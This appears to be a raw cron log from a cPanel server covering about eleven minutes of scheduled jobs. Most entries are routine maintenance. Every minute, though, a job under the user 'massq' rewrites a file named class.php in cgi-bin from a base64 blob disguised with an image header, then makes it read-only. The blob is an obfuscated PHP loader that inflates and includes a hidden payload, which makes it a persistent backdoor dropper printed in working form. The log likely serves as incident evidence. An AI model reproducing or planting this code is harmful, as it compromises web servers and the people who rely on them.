Sep  8 20:28:01 server CROND[7275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:28:01 server CROND[7276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:28:01 server CROND[7279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:29:01 server CROND[7748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:29:01 server CROND[7749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:29:01 server CROND[7750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:30:01 server CROND[8141]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:30:01 server CROND[8142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:30:01 server CROND[8143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:30:01 server CROND[8149]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:30:01 server CROND[8148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:30:01 server CROND[8151]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:30:01 server CROND[8150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:30:01 server CROND[8154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:30:01 server CROND[8152]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 20:31:01 server CROND[9227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:31:01 server CROND[9228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:31:01 server CROND[9229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:32:01 server CROND[9617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:32:01 server CROND[9618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:32:01 server CROND[9619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:33:01 server CROND[10080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:33:01 server CROND[10081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:33:01 server CROND[10082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:34:01 server CROND[10594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:34:01 server CROND[10595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:34:01 server CROND[10596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:35:01 server CROND[10986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:35:01 server CROND[10989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:35:01 server CROND[10990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:35:01 server CROND[10988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:35:01 server CROND[10998]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:35:01 server CROND[11002]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:35:01 server CROND[11000]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 20:35:01 server CROND[11001]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 20:35:01 server CROND[10999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:36:01 server CROND[11831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:36:01 server CROND[11833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:36:01 server CROND[11832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:37:01 server CROND[12217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:37:01 server CROND[12218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:37:01 server CROND[12219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:38:01 server CROND[12636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:38:01 server CROND[12637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:38:01 server CROND[12638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:39:01 server CROND[13116]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 20:39:01 server CROND[13118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:39:01 server CROND[13117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:39:01 server CROND[13119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
